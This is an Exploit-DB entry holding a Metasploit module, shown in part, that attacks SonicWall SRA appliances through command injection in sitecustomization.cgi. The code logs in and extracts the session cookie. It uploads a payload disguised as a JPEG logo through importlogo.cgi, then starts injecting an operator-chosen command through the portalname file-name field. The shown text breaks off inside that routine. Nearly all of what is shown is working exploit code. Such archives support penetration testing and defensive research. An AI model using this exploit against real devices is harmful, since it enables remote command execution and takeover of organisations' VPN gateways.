Exploit-DB #42344
Description: Sonicwall < 8.1.0.2-14sv - 'sitecustomization.cgi' Command Injection (Metasploit)
Type: webapps
Platform: cgi
Date: 2017-07-19
Author: xort

Exploit:
# Exploit Title: Sonicwall importlogo/sitecustomization CGI Remote Command Injection Vulnerablity 
# Date: 12/25/2016
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sonicwall.com
# Software Link: sonicwall.com/products/sra-virtual-appliance
# Version: 8.1.0.2-14sv
# Tested on: 8.1.0.2-14sv
#             
# CVE : (awaiting cve)

# vuln1: importlogo.cgi / logo1 parameter (any contents can be uploaded)    
# vuln2: sitecustomization.cgi / portalname (filename) parameter   

# Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug. 
#
# xort @ Critical Start




require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sonicwall SRA <= v8.1.0.2-14sv remote exploit',
					'Description'    => %q{
					This module exploits a remote command execution vulnerability in
				the Sonicwall SRA Appliance Version <=  v8.1.0.2-14sv. The vulnerability exist in
				a section of the machine's adminstrative infertface for performing configurations 
				related to on-connect scripts to be launched for users's connecting.	
			},
			'Author'         =>
				[
					'xort@Critical Start', # vuln + metasploit module
				],
			'Version'        => '$Revision: 1 $',
			'References'     =>
				[
					[ 'none', 'none'],
				],
			'Platform'      => [ 'linux'],
			'Privileged'     => true,
			 'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

		        'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

			'Targets'        =>
				[
					['Linux Universal',
						{
								'Arch' => ARCH_X86,
								'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget' => 0))

			register_options(
				[
					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
			         	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
					Opt::RPORT(443),
				], self.class)
	end

        def do_login(username, password_clear)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-bin/userLogin",
		      'headers' => {
			   'Connection' => 'close',
			   'Content-Type' => 'application/x-www-form-urlencoded',
			   'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0',
	              },
                      'vars_post' => {
			   'username' => username,
			   'password' => password_clear,
			   'domain' => 'LocalDomain',
			   'loginButton' => 'Login',
			   'state' => 'login',
			   'login' => 'true',
			   'VerifyCert' => '0',
			   'portalname' => 'VirtualOffice',
			   'ajax' => 'true'
		       },
                }, timeout)

		swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0]
		
                return swap
        end

        def upload_payload(swap_cookie, file_data)
                vprint_status( "Upload Payload..." )

                # vars
                timeout = 1550;

                upload_req = [
                [ "portalName","VirtualOffice" ],
                [ "defaultLogo","0" ],
                [ "uiVersion","2" ],
                [ "bannerBackground", "light" ]
                ]

                boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
                post_data = ""

		# assemble upload_req parms
                upload_req.each do |xreq|
                    post_data << "--#{boundary}\r\n"
                    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
                    post_data << "#{xreq[1]}\r\n"
                end

                # add malicious file
                post_data << "--#{boundary}\r\n"
                post_data << "Content-Disposition: form-data; name=\"logo1\"; filename=\"x.jpg\"\r\n"
		post_data << "Content-Type: image/jpeg\r\n\r\n"
                post_data << "#{file_data}\r\n"
 
		post_data << "--#{boundary}--\r\n"

                res = send_request_cgi({
                   'method' => 'POST',
                   'uri'    => "/cgi-bin/importlogo?uploadId=1",
                   'ctype'  => "multipart/form-data; boundary=#{boundary}",
                   'data'   => post_data,
                   'headers' =>
                        {
                                'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
				'Cookie' => 'swap='+swap_cookie+';',
                        }
                }, timeout)
                

        end


	def run_command(swap_cookie, cmd)

		vprint_status( "Running Command...\n" )

                # vars
                timeout = 1550;

		vprint_status("creating filename on target: #{cmd}\n")

                upload_req = [
                [ "portalname", cmd ],
                [ "portaltitle","Virtual Office" ],
                [ "bannertitle","Virtual Office" ],
                [ "bannermessage","<h1>Dell Sonicwall</h1>" ],
                [ "portalUrl","https://192.168.84.155/portal/xxx" ],
                [ "loginflag","on" ],
                [ "bannerflag","on" ],
                [ "httpOnlyCookieFlag","on" ]